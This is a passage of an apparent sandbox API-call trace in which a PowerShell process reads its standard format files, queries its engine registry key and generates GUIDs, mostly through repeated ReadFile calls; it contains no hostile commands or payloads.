[0040.027] ReadFile (in: hFile=0x300, lpBuffer=0x2438330, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2438330*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.029] GetLastError () returned 0x0
[0040.029] ReadFile (in: hFile=0x300, lpBuffer=0x2438330, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2438330*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.029] GetLastError () returned 0x0
[0040.030] ReadFile (in: hFile=0x300, lpBuffer=0x2438330, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2438330*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.030] GetLastError () returned 0x0
[0040.030] ReadFile (in: hFile=0x300, lpBuffer=0x2438330, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2438330*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.030] GetLastError () returned 0x0
[0040.031] ReadFile (in: hFile=0x300, lpBuffer=0x2438330, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2438330*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.031] GetLastError () returned 0x0
[0040.031] ReadFile (in: hFile=0x300, lpBuffer=0x2438330, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2438330*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.032] GetLastError () returned 0x0
[0040.032] ReadFile (in: hFile=0x300, lpBuffer=0x2438330, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2438330*, lpNumberOfBytesRead=0x16e654*=0x119, lpOverlapped=0x0) returned 1
[0040.032] GetLastError () returned 0x0
[0040.032] ReadFile (in: hFile=0x300, lpBuffer=0x2438330, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2438330*, lpNumberOfBytesRead=0x16e654*=0x0, lpOverlapped=0x0) returned 1
[0040.032] GetLastError () returned 0x0
[0040.032] CloseHandle (hObject=0x300) returned 1
[0040.032] GetLastError () returned 0x0
[0040.032] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e1b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43
[0040.032] GetLastError () returned 0x0
[0040.032] SetErrorMode (uMode=0x1) returned 0x1
[0040.032] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x245932c | out: lpFileInformation=0x245932c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a0c3fbd, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a0c3fbd, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2eaa6bc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x6119)) returned 1
[0040.032] GetLastError () returned 0x0
[0040.032] SetErrorMode (uMode=0x1) returned 0x1
[0040.032] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e180, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43
[0040.032] GetLastError () returned 0x0
[0040.032] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e5d8 | out: phkResult=0x16e5d8*=0x300) returned 0x0
[0040.032] RegQueryValueExW (in: hKey=0x300, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x16e620, lpData=0x0, lpcbData=0x16e61c*=0x0 | out: lpType=0x16e620*=0x1, lpData=0x0, lpcbData=0x16e61c*=0x56) returned 0x0
[0040.032] RegQueryValueExW (in: hKey=0x300, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x16e620, lpData=0x365310, lpcbData=0x16e61c*=0x56 | out: lpType=0x16e620*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x16e61c*=0x56) returned 0x0
[0040.032] RegCloseKey (hKey=0x300) returned 0x0
[0040.033] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e180, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43
[0040.033] GetLastError () returned 0x0
[0040.033] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e114, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43
[0040.033] GetLastError () returned 0x0
[0040.034] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16de80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.034] GetLastError () returned 0x0
[0040.034] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16de30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.034] GetLastError () returned 0x0
[0040.034] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16de30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.034] GetLastError () returned 0x0
[0040.035] VirtualQuery (in: lpAddress=0x16d330, lpBuffer=0x16e330, dwLength=0x1c | out: lpBuffer=0x16e330*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.035] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x63e06b6e, Data2=0xfcc8, Data3=0x404f, Data4=([0]=0xa8, [1]=0xf7, [2]=0xb5, [3]=0x5b, [4]=0xe7, [5]=0x2e, [6]=0xa7, [7]=0xd6))) returned 0x0
[0040.036] VirtualQuery (in: lpAddress=0x16d380, lpBuffer=0x16e380, dwLength=0x1c | out: lpBuffer=0x16e380*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.036] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x763329a4, Data2=0xd2f7, Data3=0x4a4a, Data4=([0]=0x89, [1]=0x22, [2]=0xf8, [3]=0x3a, [4]=0xff, [5]=0x2c, [6]=0xfb, [7]=0x2c))) returned 0x0
[0040.036] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x67916f40, Data2=0xc90f, Data3=0x4531, Data4=([0]=0x84, [1]=0x56, [2]=0x7f, [3]=0xba, [4]=0x1a, [5]=0xed, [6]=0xa3, [7]=0x2a))) returned 0x0
[0040.036] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x4c9d0ae8, Data2=0x731b, Data3=0x47c6, Data4=([0]=0xaf, [1]=0x6b, [2]=0xeb, [3]=0xf7, [4]=0x28, [5]=0xad, [6]=0x5a, [7]=0xcf))) returned 0x0
[0040.036] VirtualQuery (in: lpAddress=0x16d380, lpBuffer=0x16e380, dwLength=0x1c | out: lpBuffer=0x16e380*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.037] VirtualQuery (in: lpAddress=0x16d380, lpBuffer=0x16e380, dwLength=0x1c | out: lpBuffer=0x16e380*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.037] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e0ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d
[0040.037] GetLastError () returned 0x0
[0040.037] SetErrorMode (uMode=0x1) returned 0x1
[0040.037] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\help.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x300
[0040.037] GetLastError () returned 0x0
[0040.037] GetFileType (hFile=0x300) returned 0x1
[0040.037] SetErrorMode (uMode=0x1) returned 0x1
[0040.037] GetFileType (hFile=0x300) returned 0x1
[0040.037] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.039] GetLastError () returned 0x0
[0040.040] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.040] GetLastError () returned 0x0
[0040.040] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.040] GetLastError () returned 0x0
[0040.040] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.040] GetLastError () returned 0x0
[0040.041] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.041] GetLastError () returned 0x0
[0040.041] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.041] GetLastError () returned 0x0
[0040.041] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.041] GetLastError () returned 0x0
[0040.041] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.041] GetLastError () returned 0x0
[0040.043] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.043] GetLastError () returned 0x0
[0040.043] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.043] GetLastError () returned 0x0
[0040.044] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.044] GetLastError () returned 0x0
[0040.044] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.044] GetLastError () returned 0x0
[0040.044] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.044] GetLastError () returned 0x0
[0040.044] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.044] GetLastError () returned 0x0
[0040.044] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.045] GetLastError () returned 0x0
[0040.045] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.045] GetLastError () returned 0x0
[0040.048] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.048] GetLastError () returned 0x0
[0040.048] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.048] GetLastError () returned 0x0
[0040.048] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.048] GetLastError () returned 0x0
[0040.048] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.048] GetLastError () returned 0x0
[0040.049] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.049] GetLastError () returned 0x0
[0040.049] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.049] GetLastError () returned 0x0
[0040.049] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.049] GetLastError () returned 0x0
[0040.049] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.049] GetLastError () returned 0x0
[0040.049] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.049] GetLastError () returned 0x0
[0040.050] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.050] GetLastError () returned 0x0
[0040.050] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.050] GetLastError () returned 0x0
[0040.050] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.050] GetLastError () returned 0x0
[0040.050] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.050] GetLastError () returned 0x0
[0040.050] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.050] GetLastError () returned 0x0
[0040.051] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.051] GetLastError () returned 0x0
[0040.051] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.051] GetLastError () returned 0x0
[0040.055] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.055] GetLastError () returned 0x0
[0040.056] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.056] GetLastError () returned 0x0
[0040.056] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.056] GetLastError () returned 0x0
[0040.056] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.056] GetLastError () returned 0x0
[0040.056] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.056] GetLastError () returned 0x0
[0040.056] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.056] GetLastError () returned 0x0
[0040.057] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.057] GetLastError () returned 0x0
[0040.057] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.057] GetLastError () returned 0x0
[0040.057] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.057] GetLastError () returned 0x0
[0040.057] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.057] GetLastError () returned 0x0
[0040.057] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.057] GetLastError () returned 0x0
[0040.058] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.058] GetLastError () returned 0x0
[0040.058] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.058] GetLastError () returned 0x0
[0040.058] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.058] GetLastError () returned 0x0
[0040.058] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.058] GetLastError () returned 0x0
[0040.059] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.059] GetLastError () returned 0x0
[0040.059] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.059] GetLastError () returned 0x0
[0040.059] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.059] GetLastError () returned 0x0
[0040.059] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.059] GetLastError () returned 0x0
[0040.059] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.060] GetLastError () returned 0x0
[0040.060] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.060] GetLastError () returned 0x0
[0040.060] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.060] GetLastError () returned 0x0
[0040.060] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.060] GetLastError () returned 0x0
[0040.060] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.060] GetLastError () returned 0x0
[0040.060] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.061] GetLastError () returned 0x0
[0040.061] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.061] GetLastError () returned 0x0
